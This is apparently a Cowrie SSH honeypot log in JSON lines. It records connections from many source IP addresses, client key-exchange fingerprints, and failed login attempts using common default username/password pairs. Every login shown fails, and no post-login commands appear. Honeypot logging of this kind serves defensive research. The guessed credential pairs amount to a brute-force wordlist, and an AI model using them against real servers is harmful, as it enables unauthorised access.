{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:59.209398Z","src_ip":"46.253.45.10","session":"a814129a9963","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:32:59.836590Z","src_ip":"46.253.45.10","session":"a814129a9963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:00.965200Z","src_ip":"46.253.45.10","session":"a814129a9963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":59036,"dst_ip":"159.203.135.109","dst_port":22,"session":"0375de83d9d2","protocol":"ssh","message":"New connection: 176.147.144.172:59036 (159.203.135.109:22) [session: 0375de83d9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:02.090642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:02.098111Z","src_ip":"176.147.144.172","session":"0375de83d9d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:02.196959Z","src_ip":"176.147.144.172","session":"0375de83d9d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamza","password":"123","message":"login attempt [hamza/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:02.616371Z","src_ip":"176.147.144.172","session":"0375de83d9d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":36796,"dst_ip":"10.17.0.5","dst_port":22,"session":"b07d840e8d61","protocol":"ssh","message":"New connection: 43.156.170.155:36796 (10.17.0.5:22) [session: b07d840e8d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:03.206980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:03.211854Z","src_ip":"43.156.170.155","session":"b07d840e8d61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:03.453269Z","src_ip":"43.156.170.155","session":"b07d840e8d61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:03.718961Z","src_ip":"176.147.144.172","session":"0375de83d9d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"root","message":"login attempt [dev/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:04.438345Z","src_ip":"43.156.170.155","session":"b07d840e8d61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:05.679531Z","src_ip":"43.156.170.155","session":"b07d840e8d61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":60252,"dst_ip":"159.203.135.109","dst_port":22,"session":"3083951789fb","protocol":"ssh","message":"New connection: 137.184.228.138:60252 (159.203.135.109:22) [session: 3083951789fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:06.634659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:06.639638Z","src_ip":"137.184.228.138","session":"3083951789fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:06.710016Z","src_ip":"137.184.228.138","session":"3083951789fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:07.023525Z","src_ip":"137.184.228.138","session":"3083951789fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:08.100685Z","src_ip":"137.184.228.138","session":"3083951789fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":40193,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c0cb44d71dc","protocol":"ssh","message":"New connection: 41.181.156.205:40193 (10.17.0.5:22) [session: 8c0cb44d71dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:18.875242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:18.884713Z","src_ip":"41.181.156.205","session":"8c0cb44d71dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:19.129088Z","src_ip":"41.181.156.205","session":"8c0cb44d71dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABcd123456","message":"login attempt [root/ABcd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:20.134950Z","src_ip":"41.181.156.205","session":"8c0cb44d71dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:21.382844Z","src_ip":"41.181.156.205","session":"8c0cb44d71dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":54806,"dst_ip":"159.203.135.109","dst_port":22,"session":"f13e3816604d","protocol":"ssh","message":"New connection: 36.91.81.195:54806 (159.203.135.109:22) [session: f13e3816604d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:32.576022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:32.582179Z","src_ip":"36.91.81.195","session":"f13e3816604d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:32.849420Z","src_ip":"36.91.81.195","session":"f13e3816604d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sky","password":"1234","message":"login attempt [sky/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:33.947662Z","src_ip":"36.91.81.195","session":"f13e3816604d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45441,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b6f459a9424","protocol":"ssh","message":"New connection: 89.144.214.214:45441 (10.17.0.5:22) [session: 9b6f459a9424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:35.114459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:35.132495Z","src_ip":"89.144.214.214","session":"9b6f459a9424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:35.218293Z","src_ip":"36.91.81.195","session":"f13e3816604d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:35.263033Z","src_ip":"89.144.214.214","session":"9b6f459a9424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258369","message":"login attempt [root/147258369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:35.778857Z","src_ip":"89.144.214.214","session":"9b6f459a9424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:36.913764Z","src_ip":"89.144.214.214","session":"9b6f459a9424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":47822,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f6742a49a81","protocol":"ssh","message":"New connection: 87.226.190.225:47822 (10.17.0.5:22) [session: 4f6742a49a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:52.028572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:52.034109Z","src_ip":"87.226.190.225","session":"4f6742a49a81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:52.194529Z","src_ip":"87.226.190.225","session":"4f6742a49a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123456.","message":"login attempt [root/Asd123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:52.864401Z","src_ip":"87.226.190.225","session":"4f6742a49a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:33:54.027541Z","src_ip":"87.226.190.225","session":"4f6742a49a81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":59286,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fe05d0eabbf","protocol":"ssh","message":"New connection: 165.154.5.173:59286 (10.17.0.5:22) [session: 4fe05d0eabbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:03.295704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:03.301439Z","src_ip":"165.154.5.173","session":"4fe05d0eabbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:03.517659Z","src_ip":"165.154.5.173","session":"4fe05d0eabbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Debian@123","message":"login attempt [root/Debian@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:04.412416Z","src_ip":"165.154.5.173","session":"4fe05d0eabbf","protocol":"ssh"}
